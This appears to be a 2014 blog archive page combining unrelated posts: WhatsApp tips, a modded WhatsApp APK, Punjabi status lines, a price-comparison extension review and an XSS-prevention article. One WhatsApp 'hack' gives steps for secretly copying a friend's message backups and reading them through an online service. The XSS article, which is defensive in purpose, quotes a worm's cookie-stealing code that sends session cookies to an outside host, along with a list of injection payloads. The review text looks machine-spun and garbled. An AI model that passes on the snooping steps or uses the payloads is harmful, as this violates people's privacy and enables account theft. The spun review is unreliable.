Saturday 4 October 2014

New Features for Android in WhatsApp

whatsapp-modded-android
We have even posted an awesome tutorial that allows you to use WhatsApp messenger right on your Windows PC, so if you do not have a nice smartphone then also you can avail the features of this awesome app right on your Windows PC.So today I have found another custom modded WhatsApp for Android device that has a whole new revamped interface with more amazing features to be used. So basically in this you can change pretty much everything from colors to sizes.
The best thing I noticed about this modded app is that you can change the upload media limit that 16MB for one file, well you can just increase it and send huge files too like songs and videos. So now by default the quality of pictures is reduced for faster loading but you do not want a reduce in your image size that you can increase the quality of your image for more awesome image sharing experience.
You can also add contacts profile pictures to your chats for more accurate chat or you can hide those images and show your contact images instead of those. You also have a built in Theme viewer and downloader, so now you can easily browse some nice themes and then apply them for more cute experience.
So now this app even fixed few bugs that were possibly visible, and it is a signed app so you won't face any problem installing this on your Android device, so now just download the app from the link on the right and then just transfer the app to your device and install it using normal steps.

*Ultimate List of Whatsapp Tips, Tricks & Awesome Hacks*

Well earlier we have posted on how you can easily install whatsapp messenger on your windows pc in case you wanna use it right away from your computer you can do that too. Whatsapp is considered as the most preferable chatting client for iPhone and Android devices as its pretty user friendly interface and provides all the basic needs a chatting client requires, you can easily share images, audio notes, live recordings, share your current location and even upload small videos. So just check the full list provided below and enjoy these awesome hacks.

-> 1. Prank your Friends by Changing their Profile Picture

funny-scary-images
Well just found this awesome trick, if you want to prank your friends by displaying then how they actually appear in your profile, then we have any trick for that. Actually by doing some files replacement you can change the actual profile pic of you friend pretty easily to any image.
  1. Well just search for some nice scary or funny image that you think could easily paralyze your friends on how they actually look. (just search these images on Google Image search).
  2. Now after you have found a nice image just make sure to resize the image to 561 X 561 Pixel dimension as its must. (you can use RIOT image resizing feature for this).
  3. Now you need to navigate to the following path SD Card > Whatsapp > Profile Pictures.
  4. Now you will see your friends profile pictures with name's similar to their phone numbers with prefix attached to it.
  5. Now just rename your new image to that same file name and then replace the old image with the one.
  6. Well for iOS device use iFunBox to do this same trick and on android you can use a nice file manager to achieve this effect.
Now simply restart your device and your new profile pic will be rocking, now simply show and ask your friend what kind of profile picture they have uploaded it looks ugly, they will be amazed

-> 2. Getting back Deleted Messages on Whatsapp !

Deleted few conversations mistakenly, wanted to get all those conversation back as it means you a lot, well you might not be aware about the automated Whatsapp backup that it creates everyday at 4:00 PM which is actually store in the SD Card of your Android Device, well we are going to see how you can easily restore that database.
  1. Navigate to the Whatsapp Database folder, SD Card > Whatsapp > Databases.
  2. In the database folder you will see some files something like msgstore-2014-01-04.1.db.crypt. So as you can see these files even contain the date on which its created + you will also see a file msgstore.db.crypt, well this is the main file.
  3. So now just rename this file msgstore.db.crypt to something like backup-msgstore.db.crypt.
  4. Now after you have successfully renamed your file, just change the another file that contains the appropriate date like choose the one that's latest or the one you think that might contain your chat conversation.
  5. Get-back-deleted-whatsapp-messagesSo now rename that file to msgstore.db.crypt and then the last step is to navigate to Setting > Applications > manage applications > Whatsapp, and click on Clear Data option to remove all the data.
  6. That's it now your msgstore.db.crypt will be restored and obviously that the file that contains your chat conversation.
  7. So now as soon as you open your WhatsApp again it will ask you to restore from the Backup.
  8. Just press Restore option and everything will be restores pretty easily.
So guys this was the easiest but little but lengthy way to restore your deleted conversation on WhatsApp. So now do no worry in case you have to delete those conversation you know where and how to restore then later :)

How to View WhatsApp Messages Backup File Online !

recover-messages
Well thinking if there is any easy way by not restoring your file onto the whatsapp messenger but still wanna have a look on what conversation you had, well there is awesome online service called "RecoverMesages.com" that allows you to upload your .crypt file that you got from your SD Card online and view your messages easily, well just visit the above mentioned website , upload your date and hit SCAN.

-> 3. Hide Last Seen Time from your WhatsApp Profile

Don't like to display that last seen time to the another person, just want to stay hidden, well earlier it was not possible and we use to use some 3rd party apps, well now it can done officially.
  1. Open WhatsApp application on your device.
  2. Navigate to Settings > Chat Settings > Advanced > Last Seen Timestamp.
  3. It will be one just disable it and that's it now no one can see your last seen timestamp. So its officially disabled.

-> 4. Hide One Image into Another for Nice Prank :p

magiapp-whatsappWell you might have faced this thing but you might ignored as you thought it could not be possible, but yes you can easily fake any image by just simply using original image as your masked image and using another image as your fake image.
Well we will be using the Magiapp for Android that will allow you to hold two images one your True Image and the other one will be your Fake image that will shown when someone clicks on your original image.
  1. Download & Install Magiapp for android.
  2. Now after installing this wonderful app just fire it up and then you will see interface something lie in the image on the right.
  3. Now just click on the True Image option and choose your original image and then click on the Fake Image option and choose your pranky image.
  4. Now after selecting your images just press Do Magic ! option and voila! its done now just share your image with everyone.

-> 5. Hacking your Friends WhatsApp Conversation :)

Well now the same trick mentioned in the first step can be used in order to hack your friends WhatsApp conversation. You can easily snatch the .crypt files from your friends SD Card and then view them online using the RecoverMessages website.
  1. Just try to explore the friends SD Card and navigate to SD Card > Whatsapp > Database folder.
  2. Here you will two files -msgstore-yyyy..dd..db.crypt which will exactly contain date and year when the backup was created.
  3. Simply copy this files to your computer and then upload this file to "RecoverMesages.com" to view them online.
That's it now you have easily hacked your friends Whatsapp Database, now you can view all the conversation and even ask him about his or her crush ;p, so guys this how hacking Whatsapp conversation works, so enjoy.

-> 6. Password Lock your WhatsApp Application

whatsapp-lock-androidAre you really serious about the security and privacy for your Whatsapp conversation, well now just add a nice password on your Whatsapp application, so that no one else except you can open your Whatsapp account.
  1. Download & Install WhatsApp Lock for Android.
  2. It's a simple application that allows you to add a four digit lock passcode to your Whatsapp application.
  3. Now after installing the application it will ask you to store a four digit passcode, just do that.
  4. It even contains an Auto Locking feature that will lock your Whatsapp automatically after sometime.
The best thing about this application is that if someone enters wrong passcode few times then if your phone contains the front camera then it will capture the image of the intruder and store it safely.

So these were the few tips, tricks and hacks for the whatsapp messenger, hope you liked them and if you really like this post do share it with all your friends. Do subscribe to our newsletter for receiving some awesome updates from our blog right in your email.

Send and Receive What'sApp Messages on Windows PC

WhatsApp is popular free messaging client which is available for iOS, Android, Nokia and Blackberry, but still we have no client for Windows PC officially released by the WhatsApp team. Well you can imagine having WhatsApp on your PC and how fast you will be able to send and receive text messages as you always be on one device so you can handle everything right there. So we found an unofficial client which is supposed to be a dummy version of Android running on your PC.

BlueStacks App Player Android Emulator

BlueStacks App Player helps you install WhatsApp and thousands other application because its an Android operating system running on your Windows PC. Now obviously its not like you will get that same kind of experience you can do with a touch phone and Android installed on it but still if you are a WhatsApp fan than I must that this software is must for you because WhatsApp experience on this one is simply unbelievable faster texting and media exchanging.
bluestacks-app-player-windows

Steps to Install WhatsApp on BlueStacks App Player

So if you are interested in using WhatsApp right on your PC that you can grab some installation knowledge from below and start experiencing right now.
  • Download BlueStacks App Player for Windows PC.
  • After you have downloaded the above software, start installing it and it will start downloading its package from the internet, it will take some time so sit back and have a cup of coffee.
  • So after downloading it will install and now you will see their user interface, now you have to sign up for your new account or if you already have their account than you can login.
bluestacks-whatsapp-messenger
  • Now just search for the WhatsApp like in the above image or find it from the popular downloads hovering right above in the Rocket Dock, after you find it click on it and it will start downloading the app.
  • After WhatsApp is installed click on it and you will see a Terms and Conditions page where you have to click on Agree and than you will be on their main phone verification page.
bluestacks-whatsapp-verification
  • Now just select your country & than insert your mobile number & than click on OK.
bluestacks-whatsapp-verification
  • Now it will start the process of sending you the verification message on your mobile, if that thing fails you also have an option to call your number for the verification message. So now just insert that code and click on OK boom you have successfully activated your WhatsApp messenger on your Windows PC.
bluestacks-whatsapp-messages
  • So now WhatsApp is ready for some action, select your already created groups, if you were having one on your mobile or you can start sending text or media messages to your friends and create another new group, so I was just messing around my group Wild Hogs, and tried sending some messages and delivery was amazingly fast and responsive.
So now enjoy WhatsApp on your Windows PC with this amazing BlueStacks App Player, well you can also download and install other amazing Android Application which you can search and than download, hope you liked this lengthy tutorial, please share it with all your friends.

Punjabi Facebook Status Updates

punjabi status
For all the Indians who are basically from Punjab or anywhere else but they have some serious motherhood in them and English statuses cannot be compared to these ones because it has something Desi tint in them so grab the best Punjabi statuses for which I would like to thank my friend Shikari who grabbed all these statuses and bundled them together into one awesome package.

  • Kad aayegi online Tu Kudiyee... Mein Chat Box to na naZra hatava..
    ni saara din facebook te... tere page te gediyaan laava.. ♥ !!
  • Tenuu chak lena bAbA rAmdEv vangu .,,
    J tu jada att chuki :p. ;)
  • Yar russe tan RAB russe,
    Yar fir russe tan DIL tute,
    Yar fir russe tah JAG shute,
    Yar fir russe tah?? maro sale de roz da he kam aa :P ;)
  • jhUthE mUho nA kEhnDi diL viCh haAn teRe,,
    haAn j tU kRe krA jiNdaGi maiN nAam tEre :D. ;)
  • ohNu pauN Lyi maI RAbB NaL V ladH LAiNda....
    Par...FeR maI SOcHyA K REsuLt da tYm a...rAb Nal panGA LAIna theEK NAI.. :P :D 
  • TeRe nAAlo taaN saADa "ANTIVIRUS" cHaNGa...
    JeHda sAadi CaRe taaN kARdA :p :)
  • JiNi mArJi cHaTtiNg KaRLo
    SetTiNg tAaN rAb nE Hi kRauNi aE :p ;
  • Kash oh jaan mang lendi tan asi de deni c has ke. . .
    .
    par chandri ne . . . ?
    .
    facebook acc. da PASSWORD mang leya . . :p ;) 
  • tERa pyAAr 500 de nOte vaRga ,, dArr lAgDa DUPLICATE na hOve :P ;)
  • pEhlaA tu laGgI mAinNu HoOr pArI c ......... HunN taA cHanGgI laGgE DuuR khAdI Hi ........
  • KaAsH koI sAnNu PETroL de RaTe wAaNG pYAar kaRe ... JeHdA waDhDaA hi jaAve .....
  • Oh pyaar ch jaan mangdi c....
    kamliiee...
    .Asi ta jawaak nu toffee de k ni raaji.........:P 
  • i20 viCh beH kE keHNDi i20 wALAa yAaR aW.........
    ENDeAvouR viCH beH kE keHNdi i20 v kOI cAr Aw............:D
  • Huthyaar taa chadhte tere kainn teh...
    Parr dekkhii dhokhaa naaa devii,.... CHALAANEE HAJJEE V NI BHULYAA...... 
  • ni torh shor kaddh assi aayie tere piche aivei thakk gaye maar-2 gerhiyaa......
    sunn le tuh gall saddi kaddh de koi hall,,, tennu sadde toh shikataan dass kehdiyaa..... 
  • ThOdA TiMe tU V kAd yAaRa nU De tU JhAtT...HoVe tErA GuD LuCk Je KaRa MaIn tAiNu f***.... 
  • DiNe MaShOoK LaD Di .... rAt Nu sAla maChar LaD Da 
  • Wich laayi ae photo ohnu dekhi jande haan..Ik tere karke phone nu matha teki jande haan.!!!!!!!!!
  • Dine chain na aave,
    raati neend na aave.
    Mai rab nu puchea,
    rabba ki ehi pyar hai.
    Rab kehnda oh soja chup kr ke,
    garmi naal sarre passe ehi haal hai...........!! :D 
  • jinna PaISA unna gooda pyaar kardia ne ,,,
    apnia jeba ehe rakhn BLaNK ,, aish mundeya de siraan utte kardia ne .... 
  • Tere layi peg te peg banwa denda,
    Tere layi Royal Stag de tabb bharwa denda,
    kambaqth tusi taan pende nahi,
    nahi taan Tajmahal nu ve theka banwa denda :D 
  • JITHO TAK SOHNIYE NI PAUNCH TERE VEERAN DI......OHTO FOOT AGGE PAINDA PARCHAWAN TERE YAAR DA....... 
  • ‎""nI tU P.T.C neWz Vargi a bs gaPPaan cHaddi ReHnI a...!! :P 
  • Main busy aan study vich sohniya.........tu varo var kehan lag gi..................Pehla pat ke begana putt sohniye.....tu "offline" rehn lag payi !!!!!!!!!!!!!
  • DOLI VICHON HEER VAJAAN MARDI RANJHE NU,,, KEHNDI GHR JA KE FACEBOOK CHECK KAR LYE ..VIAH VALIYA PHOTAN PAYIAN NE.
  • PyAr MeRa PaHuNcH GaYa AeHo JE MuKaAm tE .....
    ShUrU tErE naAm Te.. KhAtAm TeRe NaAm tE...... 
  • tAiNu aPnA BnAiYe AsI EnE JoGe kItHe..
    HaAl dIl dA SuNaIyE AsI EnE JoGe kItHe..
    TiNu yAaD KaRnA Hi jInDaGi hAi sAdI..
    YaAd aSi tAiNu aIyE aSi eNE JoGe kItHe.... 
  • Ni mAiN PyAr cH ShReEf lAdAi wIcH GuNdA... MeRi aAnKhA ViCh aNkHa pAkE DeKhDa nI MuNdA.... 
  • DOLI VICHON HEER VAJAAN MARDI RANJHE NU,,, KEHNDI GHR JA KE FACEBOOK CHECK KAR LYE ..VIAH VALIYA PHOTAN PAYIAN NE. 
  • ni tu meri RED BULL ni,tainu dekh dekh ENERGY aoundi....... 
  • JeDe kEnDe cC , sI TaInU DIL dE CORNER vIcH LoCk kAr DiTa ,AaJ UnA Ne hI sAnU FACEBOOK Te BLOCK KaR DiTa...... 
  • Levis diyan Jeana tu paun lag pyi,
    Rbk de shoes chmkaun lag pyi,
    Beer chad Wine pee k standard vadon lag pyi,
    ......
    Saheliyan naal ghumdi SamJe tu Jive Janab ho gyi,
    Ta hi tere ghar de kehnde......
    jatta de munde
    naal reh ke saadi kudi kharab ho gyi __!!!!buuuuuuuuuuuuuuuuuurrrrr​rrrrrrrrrrrrrrrrrrrrrrrrrrrrrr​rrrr 
  • ni ShIkArI tainu kdo da bja ke lai jave........na mainu kise naddo kha da dar kahve.......bas drda dil ik gal ton ........eh tan pichle mahine meri c koi eh na a ke keh jave................ 
  • MaInU PyAr tErE NaAl tErE UtTe jInD WaR Da...JeDa vEkHe tErE WaL OdE SiNe gAlI MaR Da.... 
  • chaan chandni ratt mehrma......tim timonde tarre .....facbook te aa ja sohniya so gaye ghr de sarre 
  • JaDO PeNDa KiSE NaaL ' VaiR '__
    Fer NiKLE ' DUNaLLI ' VicHO FaaR__
    Ohdo Kh00N ' SADA ' AGG WaNG KhoLDA__
    BaS ik WaaR BoLDI ' DuNALLI ' duJI Vaar JuDGE BolDA..... 
  • soni fasdi ni,maddi fasauni ni,line badi lambi aa:vari auni ni::::::::::::::::: 
  • PuRa hAth mErA ViCh sArKaR De... LaL BaTi tAiYo LaGi uTE cAr dE... 
  • tOmMy DiYa sHiRtAn.........JeEnAA PePe DiYa PaUnDe HaNn..........
    << PuNtO >> gAdDi ViCh GedE tErE pIcHe LaUnDe HanN............:)...;) 
  • ni sonie tere chaeni chhalle ..... sone tere suit kude .... jinne vich tu saari sajdi .... onne de mere boot kude. haha!!!
  • jatt bullet te ... bullet 100 te ... hunb dass beeba pichche behna .. ya thalle auna !!! 
  • pHoTo Ka Di La LaYe MaI _______fAcEbOoK______tE eVeN seNtY hOyYeEeE FiRrEeE mErI FuNkY LoOk tE........!!!!!!!!! 
  • akkh chadi te muchch khadi ... tohar anokhi sarkaar di ..vekkhi scenty na hoji mutiyare .. vekh akkh velli yaar di .. 
  • hUn Mai sHReEf Ho gEyA a,iK SohNi MutIyAr de Dil DE KaReEb Ho GeyA
    a,oHdE kOl mErE DiL dE ChaBi,OhMeRi AkhRI MasHoOk tE TuhADI 10vI BhAbi 
  • gore tann te duppatya di chhaa krke ... tainu chhadanga main bachya di maa krke ! 
  • nI BUlIaN GuLaBi TeRiYaN___gAlLan tE lAlLI cHaIyI hOyE AaW..........Ni JeDi ChEeJ dA Tu MaNn kRdI........oH mItTrAn Ne 36 VaRr VaJaIyE hOYe aW_____ 
  • KiVeN kRaa MaI pYAAr dA iKrAAr
    MaI mUnDa AwAArA
    Tu sOhNi MuTiyAAr
    TU mErE NaaL JaaN Nu TaIyaR
    TeRa Baapu PoLiCe Nu BuLoUn nU tAIyAr 
  • mOdDe uTtE rAfAl DoNaLi ....RaKhI jAtT nE zIpSy KaLlI....
    vIcH tApE cHamKiLE dI lAgAi BaLiYe Ni ....JAgGe jAtT vAnGu YaRrAn Di ChAdAi BaLiYe Ni JaGgE JaTt vAnGu.........
  • KaAsH koI sAnNu PETroL de RaTe wAaNG pYAar kaRe ... JeHdA waDhDaA hi jaAve ......
  • Oh pyaar ch jaan mangdi c....
    kamliiee...
    Asi ta jawaak nu toffee de k ni raaji.........:P
  • i20 viCh beH kE keHNDi i20 wALAa yAaR aW.........
    ENDeAvouR viCH beH kE keHNdi i20 v kOI cAr Aw............:D 
  • SadDi jAAn Te bAnN aAunDi a.........
    JaDoOn kiSe hoR nU 'TAKE CARE' keH jaAnadi a............
  • Government nu ekk nwa kanoon bnauna chahida,,,
    Tenu vekhan da hakk bss mainu hona chahida..!!
  • Sadi kismat de sitare hale dhundle ne :(:(
    rabb ne dite je chamka fer tenu dasangee ... !!
  • Cheeja Varti diyaa chote.... YaaaaR ni Varti de... !!
  • Jaan chahidi te has ke tu mang lyiii ... zada chusti chalaki wali lorh na...
  • Khud Khushi Karna Buzdili Hai Janab,
    Agar Marna Hi Hai to Ishq Kar Lo !!
  • Muk gayi degree yaar par jigri baithe dil vich rabb banke... :P
  • Loki 4-4 Kuria Set kari Firde Ne . . . Satho tha Saali Zindagi Ni Set Ho Rei . . !!
  • ....ohnu shakk a ki mai ohde lyi jaan nai de skda.~.______________.~.mainu khauf a 'oh rovegi boht mainu ajmaun to baad......
  • Hor gallan tenu bdiyan aundia "I LOVE YOU" kEhn Lagge kyU daRdi Ae ,,
    jiUndi rHe teri chOti bhEn pyAri maiNu nit mSgs te"JIJU JIJU"
    kaRdi Ae !! :P :P
  • Har Pal Vakhre Hi Rang Hunde Raan de......Aakhar Nu Kehndian Ne Maape Naio Mande...
  • Dine chain na aave,
    raati neend na aave.
    Mai rab nu puchea,
    rabba ki ehi pyar hai.
    Rab kehnda oh soja chup kr ke,
    garmi naal sarre passe ehi haal hai...........!! :D
  • Wich laayi ae photo ohnu dekhi jande haan..Ik tere karke phone nu matha teki jande haan.!!!!!!!!!
  • Chaan Badlaan Ch Kho geya Ae...NI tym Peg Da V Ho gya Ae...;)
  • Dunyia ch lagda na jee...jind jive jail di salakhan....
  • "Töday SERIÖUS"Words from Heart:-
    "Yun hi rakhte rahe bachpan se dil saaf hm apna....
    Pata nhi tha ki keemat toh chehro ki hoti h,dil ki nhi.!!"..
  • BaHutI nA shaukiNI lAyA kaR sohNiYe!!!!!!aiwEN kiSI Na kisI nU mAR ChadENGe:!!!!!!!!!??????•••

Money saving tips while Shopping Online using BuyHatke

2 IIT Kharagpur students, Gaurav Dahake and Prashant Singh, in the last regard to their course in 2013 were taking a look at a couple of e-commerce websites to get an iPod for their pal's birthday. However it had not been a comfy experience. The more they surfed the more they were at a loss.

Various websites revealed various rates, price cuts and shipment time. There was no chance of quickly deciding. Lastly, they bought one, just to find out later on that the item would take five days to show up, well after the birthday. They likewise understood that when they positioned the order, they were not knowledgeable about another website which provided the item Rs 300 less. The experience set the two thinking on the requirement turn digital shopping into a problem-free experience.

Explains Dahake, "It's challenging to discover the very best offer while going shopping online. We felt every purchaser ought to have the ability to understand all the e-commerce websites that provided the item and the costs they provided."
Shopping website Buyhatke has actually re-launched a cool chrome extension that assists you discover the least expensive rates for products that you are wanting to get. The extension offers you costs from over 45 Indian e-commerce websites.
buy-hatke-extension
After you set up the extension to your Chrome browser, it stays up until you get to an item page on a shopping website. When you end up on an item page, it provides you a button to compare rates of the item throughout internet sites.If you do not wish to leave the page, you can click the extension on the leading right of the page and a list of costs appear. It likewise immediately compares costs and informs you if the item is being sold at a lower price somewhere else.
Chrome extensions for price contrast is a cool idea that has actually ended up being style just recently. This conserves users the problem of clicking through to a website to compare costs and boosts your possibilities of uncovering a much better price on a product.
buy-hatke-price-comparison
We discovered the extension rather helpful and stylish. Nevertheless, it often gets puzzled in between items. For instance, when we were on Flipkart trying to find a Seagate 1 TB disk drive, it recommended that the exact same item is readily available for less costly on the website. On closer appearance, it ended up that the less expensive price was for a 500 GB drive by the exact same producer.It might be a great idea to thoroughly filter information from websites like eBay that likewise offer pre-owned products. 
There are lots of shopping services that have actually turned up in India as e-commerce gets. For e-commerce business, discount coupons and online shopping websites reduce expense of obtaining a client. Nevertheless, it likewise puts prices pressure on products. As seeing in comScore's most current report on India, online shopping is among the fastest growing internet classifications in the nation.
So overall I think it's a must have extension if you are really into the online shopping addiction, this would help you in saving tons of money even I faced a huge loss after purchasing SSD from Flipkart as its was available for approximately Rs.800 less on SnapDeal, so make sure you compare prices online before actually purchasing anything.

Steps on how to prevent XSS attacks

XSS attacks are really common and a lot of the biggest sites have had or have issues with XSS - the involved sites include Gmail, PayPal, Facebook, Hotmail and lately Twitter. Being a lead developer of a popular site I'll share some of my experience on how to fix and prevent these malicious exploits. I'll also share a little insight on Twitter's latest exploit.
This isn't an introduction to cross site scripting (XSS) and if you don't know what XSS is then please read the XSS Wikipedia page.
We'll start off by looking at last weekend's Twitter StalkDaily worm which got spread to thousands of users and was built on a XSS exploit. After this is covered, I'll share my experience on how to prevent XSS from happening in your code no matter if you code in Java, Python or PHP.

Inspection of Twitter's StalkDaily worm

The source code of the worm can be found on gist.github.com/93782.
Overview of how StalkDaily attack works:
  • the attacker had found a hole in HTML escaping of a user's profile URL - this is the basis of the attack
  • the XSS hole enables the attacker to load his own script when you visit an infected user's profile
  • when you visit an infected user's profile the attacker's script is run and following things are done to your account:
    1) the script grabs your session cookie and sends it off to a remote site via an  tag added to the document
    2) the script updates your profile URL so you also become an infected user
    3) and the script updates your status to give StalkDaily promotion
The central part of the XSS exploit is this one line - without this line the worm would not be possible:
var xss = 
urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz...."></script><a ');
In the above code the cracker escapes Twitter's protection to injects his own script - basically, XSS in a nutshell!
Do also note how the cracker sends off the session cookie along with the user's username (this is very common for XSS attacks, i.e. to steal your users data, especially login data):
c = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + c + "&username=" + usr + "'>");
How could Twitter have prevented this attack? By properly escaping user[url] so it wasn't possible to inject arbitrary HTML. We'll explore options for protection later.

Why it's hard to prevent XSS attacks

XSS attack are hard to prevent because it only takes one mistake to make your site vulnerable. And good XSS crackers are not stupid and they will try anything to spot a hole!
If you are running an application and you haven't thought much about XSS then it's VERY likely that you are vulnerable. I would urge you to test and fix your XSS holes.
On Plurk I ran a XSS hacking challenge and so far we have had 6 XSS issues reported and 1 CSRF issue. Even thought we had thought about XSS issues from the start and had a simple way of dealing with them.

Common XSS attacks

You should remember one thing: there are lots of ways to do XSS exploits! On ha.ckers.org/xss.htmlthere's a big list of common attacks. Here are some of these, to give you an idea of how creative they are:
';alert(String.fromCharCode(88,83,83))//\';
alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//\";
alert(String.fromCharCode(88,83,83))//--></SCRIPT>">
'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC="jav ascript:alert('XSS');">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Generally, do note that there are lots of ways to exploit and these will eventually be tried by crackers!

How to prevent XSS attacks

There's one central rule of preventing XSS which you should follow:
  • don't trust any input coming from the user
Also play on the defensive, it's better to be more restrictive than to be more open, i.e. better to be safe than sorry!

Escaping special characters

Let me show you a simple XSS exploit, say I am having a login form and in this form I am remembering a username (very common if the user did not type the correct password):
<input type="text" name="username" value="${ user_name }" />
If you use the above code, then it's very simple to do a XSS exploit by using following username:
"><script>alert("hello"></script><input
How do you prevent this? A simple way is to escape special characters, i.e.:
<input type="text" name="username" value="${ escape_special(user_name) }" />
escape_special function should escape or remove following characters:
  • < and > because they are used to introduce a tag and end a tag
  • & because it's used to introduce a character entity
  • " because it's used to escape the input value
You should do this with any input where the user is not expected to add HTML!
Here is a simple implementation of escape_special that can be found in Python's cgi module:
def escape(s, quote=None):
    '''Replace special characters "&", "<" and ">" to HTML-safe sequences.
    If the optional flag quote is true, the quotation mark character (")
    is also translated.'''
    s = s.replace("&", "&") # Must be done first!
    s = s.replace("<", "<")
    s = s.replace(">", ">")
    if quote:
        s = s.replace('"', """)
    return s
I am sure other languages have a very similar escape function.

If you want to enable HTML or CSS...

If you do want the user to add HTML then you should be very, very careful. For example, want to enable the user to add arbitrary CSS to your site, then be sure that you escape stuff like this (which is a XSS exploit that works in Internet Explorer):
a {
   background:url("javascript:alert('XSS')");
}
Generally, if you enable HTML, then be sure that you control which subset of HTML that's enabled (by for example stripping illegal HTML tags).
Do not let the user add JavaScript unless you can control what is possible.

JavaScript and innerHTML

Two of the XSS issues on Plurk involved innerHTML, so you should also be super careful about these.
Generally, here is one of our fixes to prevent XSS via innerHTML (basically we remove < and >):
$('nick_name_span').innerHTML = input.value.replace(/[<>]/g, '');

Conclusion

XSS issues can be very malicious and I hope this blog post has given you some more insight of how modern XSS attacks work and how to prevent them.
If you have any questions, warstories or suggestions, don't hesitate to post a comment.